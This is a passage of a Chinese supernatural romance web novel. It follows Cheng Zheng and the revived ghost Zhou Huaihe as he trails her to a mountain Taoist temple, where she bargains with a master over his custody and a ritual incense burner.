这些话仿佛拼图的几块碎片,渐渐在周怀鹤的脑海中成型,他能够想象到那个小女生,很多年前也听见过她在屋子里跑来跑去的声音、她说话的声音,从瓮声瓮气到成熟大方。 所以在做梦的状态下,他对程筝说:你就将我杀了吧。 周怀鹤安静许久,将收养证明放回抽屉里,转开了那道房间的门,窗台上的花还潋滟盛开着。 他淡淡垂着眼皮,掀开了被子。 隔日一早,程筝定的闹钟响了起来,她想要抬胳膊,却仿佛被冰凉的链子捆住全身。 柔软到似乎没有骨头的臂膊从背后钳住她,冰凉僵硬的身体沉沉压着她,几乎叫人难以呼吸。 尖尖的下巴还压在她肩窝里,安静得没有任何喘息,周怀鹤弓缩着背脊,两条胳膊环抱住她,用脸颊贴着她的脖子,脑袋低着埋进她的头发里。 好凉的体温……程筝艰难扭动脖子,向后瞥见他合在一起的睫毛。 不是压住他了吗?怎么还爬床来了。 程筝慢慢回想起昨夜他探出一半的手,心里慢慢猜测着:难道不是想要掐死她? 软脚虾一般的胳膊又收紧了些。 也许只是想要抱抱她。 27.第 27 章 “呃……” 程筝艰难地喘过一口气,挣开他的胳膊,侧着从床边撑坐起来,斜眼向身后看了看,随后一脚把人踹下了床。 周怀鹤的肚子遭她踹过一脚,整个人掉到床下,他没有什么痛觉神经,一声闷哼都没有。 程筝费解地盘腿坐在床边,向下看着他,说:“你是不是搞错了什么?” 周怀鹤从地面上坐起来,一双无神的黑色眼睛望着她,程筝告诉他:“我与你认识的那个程筝,根本就是两个人。” 她觉得是他认错了人,误以为她是那个跟他有过姻缘纠葛的六姨太,所以这样娴熟地爬到她的床上来了。 执念也真是深,都成这样子了,还想着再续前缘呢。 可周怀鹤慢慢掀动双唇,生硬道:“你是。” 说话不很利落,可能是很多年没有开过口的缘故,嗓音别样的沙哑。 对于他的误解,程筝不再做回答了,看了眼时间,便自顾自穿着拖鞋去洗手间洗漱。 昨晚一夜都相安无事,看来周怀鹤并没有想要掐死她,就不必再用牌位压住他了,说起来他之前一个人在这房子里生活得也挺好的。 杯中摆着两支牙刷,程筝刷牙的时候,他也跟进来,观察她的动作,拿起另一支对着镜子一起刷牙。 瞧着镜子里一高一低两个人,程筝觉着这场面有些微妙。 她吃早饭,他打开电视看,盯着别人的婚礼现场出神地看,然后一口一口把她没吃完的饭往嘴里送,舌头不算灵活,如同一台年久失修的机器一般嚼动,牙槽骨像机器生锈的齿轮嘎吱嘎吱响起来,吃完了以后周怀鹤会自觉洗掉碗筷,将家里的一切打理得井井有条。 她是记得这人一直很爱干净,从前他常喝中药,身上不免有绕不开的苦气,于是深冬里沐浴,即日便风寒。 等程筝换好衣服出来,餐桌和水槽像搓过一层蜡一般锃亮,周怀鹤回到沙发上看婚礼现场,无机质的眼睛盯向屏幕。 “这是、新式的、婚礼么?”他驱动舌头抵住齿关,“我知道外国人、时兴这样。” 程筝走到门口系鞋带:“现在中国人也这样,两套婚服换着穿。” 周怀鹤慢慢应了一声:“嗯。” “你们说话、不大一样了。”他又说。 “时代变了。”程筝说。 周怀鹤又“嗯”,转头见她要出门,立时跟紧她:“要去、哪里?” 程筝并不打算带他一起出去,甚至打算锁门,万一让他跑不见了,事情可就难办了,她撒了个谎:“我出去买点东西。” 周怀鹤猛地攥住她的手腕,冰凉修长的手指如同灰败的植物的藤蔓,他要求:“带我一起。” “你去做什么?我一个人就行,你在家等着。”程筝想要甩开他。 他的视线如水雾般在她面上凝结,出声:“我不喜欢、等。” “你跑丢了怎么办?我连你是什么东西都不清楚,万一出去了,不小心袭击别人,明天我就得在社会新闻上看见你。”程筝哀哀叹气。 附在手腕上的“藤蔓”收紧了,周怀鹤说:“我不会。” “不可以。”出于对社会治安的考虑,程筝无情拨开了他的手,“我很快回来。” 下一刻,门重重在他眼前关上,屋子里安静下来,电视里的婚礼还在继续,热闹的气氛显得不合时宜,新郎新娘脸上沾满亮晶晶的闪片,对彼此微笑。 周怀鹤歪头盯着看了一会儿,吐出两个字: “骗我。” 包里装了充电宝、钥匙和纸巾之类的东西,程筝打了个车,刚走到小区门口准备拉开车门,突地又定住了,后脑勺漫上一股淡淡的寒意,一种熟悉的湿黏的视线仿佛甩也甩不掉,仿佛昨夜才经历过,像蜗牛的触角。 车玻璃上印出一张灰白色的脸,“带我一起。” 程筝扭头向后一看,周怀鹤垂着脑袋礼貌向她微笑,白色的上衣脏兮兮地沾着土和树叶子,黑色的头发里也插了几片绿叶,像在花坛里打过滚似的,有些招笑。 “你怎么下来的……”程筝惊讶地上上下下地瞧他。 周怀鹤慢慢地眨眼睛,说:“阳台上、掉下来。” “我、没法子再、死一次。” 疯了……被别人或者监控看见这人从五楼掉下来,拍拍衣服又爬起来走路,怕不是明天记者就得到她家? 此时司机摁了两声喇叭,催着:“唠什么呢?上不上车?” 太阳穴突突地跳,程筝沉住气,不好耽搁太久,拉开车门弯腰进去,周怀鹤也追着她上车,此后便没有再说话,只是盯着车窗外面的街景看,于他而言这是一个崭新的世界。 下车以后,程筝继续看导航上的路线,周怀鹤瞧着她一直摆弄手里的小方块,问她这是什么。 “手机。” “手机、是什么?” “就是缩小版的电话机。”程筝还算有耐心地回答上世纪人种的疑问,看清路线以后招招手让他跟上,别真的丢了。 说到底没办法放心,程筝抓住他的胳膊,拉着他往前走,一被她牵住,周怀鹤就安静得不得了,只是很偶尔地用断断续续的话问她问题。 譬如大家耳朵里塞着的是什么、耳机是什么、为什么有两个轮子的跑车、花店门口唱的是什么歌、垃圾桶里为什么那么多花、五二零又是什么。 “是中国的情人节,昨天已经过了。” 周怀鹤突然定身,直直望着她:“你昨天、不说。” 程筝只想赶路,两个人的思维好似不在一条线上:“我们又不是情人,过哪门子情人节?” 于是周怀鹤又不讲话了,撇开了眼睛。 玉玲所在的青云宫在青潭山山顶,苍林翠竹夹道迎客要上去需要爬一道很长的台阶,门口立一张牌子,说是以此彰显来客的诚心与毅力。 程筝觉得这完全是毫无意义地为难人,望着蜿蜒而上没有尽头的石梯,她叹一口很长的气,攒好一股劲儿就向上走,楼梯上也有不少为找师父作法来的客人,散在弯曲的阶梯上如同银河上的星,有钱的没钱的、老的少的,以相似的频率呼哧呼哧喘气。 爬至半山腰,程筝实在没力气,楼梯上处处坐着人,她连个能够坐下的空地都没有,只能够靠在一旁的树上仰头喝水,擦擦脑门上一些细汗。 走了这么久,周怀鹤仍旧悠然自得,毫无血色的皮肤被日光照得透亮,连一滴汗都没有出,甚至周身还是凉的。 “还要、往上去么?”周怀鹤偏头问她。 “当然得去。”程筝翻转水杯,已经喝空了。 周边的落叶窸窸窣窣几道响,下一秒,地毯般的叶子上蹲下一团人影,周怀鹤背对着她,道:“我背你去。” 程筝垂着眼皮看看他的肩膀,又向上看着漫无尽头的台阶,心说有招不用大蠢蛋,也没跟这只鬼客气,将水杯挂在他脖子上,自己也爬上他的背。 他稍冷的体温在这一刻叫人觉着惬意,程筝突然庆幸自己还是带他过来了,否则照自己这体力得爬到太阳落山。 周怀鹤的胳膊和双腿仍旧行动拖沓,他不疾不徐讲话:“你身上、是热的。” 程筝说:“这是人的体温。” “很温暖。”他说。 程筝侧过一些角度去看他,脸还是那张脸,人却已经死了,明明自己昨日还见过活着的他,虽然病恹恹的,可好歹还有些活人气息,此时是都没了,舌头都绕不动。 “也许你有法子活下去呢?”程筝静静地说,“就是……转世,重新出生,有好的父母,好的兄弟姐妹,好的朋友。” “不用。”他神色淡淡,重复着以前的话:“假使有、好的机会,便将我、 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三五分钟后,过来迎客的却是位健硕的蓝衣道人,肥头硕耳,左手绕着檀木香串,上下将她一打量,开口便是:“玉玲不能够见你。” 大师父眼睛向周怀鹤一看,又说:“这个人也要留在我们青云宫里。” 从没见过这样明晃晃连吃带抢的人,程筝差点气笑,问:“为什么?” “你知道他不是活的人。玉玲插手太多因果,被关在后山苦修了,我不会让你见她。” “这阴祟邪物也要留在青云宫里看守。”他不疾不徐道。 “你说要带他走我就要交给你吗?” 说话间,几个小道士已经林立两旁,客室的门被关上了,她与那位大师父端坐于茶桌两面。 “难不成还要抢我的东西么?”程筝望着他说,稍远一些的周怀鹤投来极淡的目光。 大师父正颜提醒:“人人都有自己的命数,玉玲将回香炉拿给你便已然犯了大错。” “你怎么知道她不是帮我纠正错误的因果。我和我姥姥的命数,难道本应该是现在这样吗?” 她不怯场地挺直脊背,字字珠玑:“如果各位师父有别的办法扭正,我也悉听尊便,可你不能说你做不到,也剥夺我和我的家人的生机,这是您修的天下大道吗?” 对面的蓝袍大师父一字未言,溜去一道眼风,边上的人便将周怀鹤团团围住,一把把桃木剑都横了出来,镇住所谓的“邪祟”,几把木剑尖端朝他。 仿佛一盘围棋一般,黑子将白子团团包围,要吃掉这颗棋子,周怀鹤动也不动,静静坐在中心。 是了,他本来也不怕死,甚至不怕魂飞魄散,任刀尖横于他眼前恐怕这人也是一副极淡然的表情。 从前的他还算得上一盏茶,如今恐怕更像一杯水。 “大师父,你们还有件东西在我手里吧。”程筝抬眼看着那些上过油磨过锋的桃木剑,缓慢吐出三个字:“回香炉。” “据说是你们很重要的法器。”程筝冷静自持,“你们可以挟持住周怀鹤,因为他不是活人,可我是受现代法律保护的,你们没办法将我囚禁在你们这里,除非你们不收回自己的法器了,否则我回去用完,毁得连渣都不叫你们找到。” 男人脸色凝重起来:“法器是你能随意毁坏的吗!” 程筝笑起来,满面春风地掏筹码:“不仅毁去,我还有一炷香没用,可以将因果大改、乱改,你管得住我吗?” “这炉子我可以还给你们,但是,一,让我见玉玲师父;二,周怀鹤由我看着,我怕你们跟我耍心眼,我留他还有用。” 大师父咬牙切齿,挥手叫小道士们收了桃木剑,“你先把炉子给我带过来!” 程筝摁开手机,点了几下。 “这是干什么?” 她说:“叫美团跑腿啊,我还再跑一趟不成?”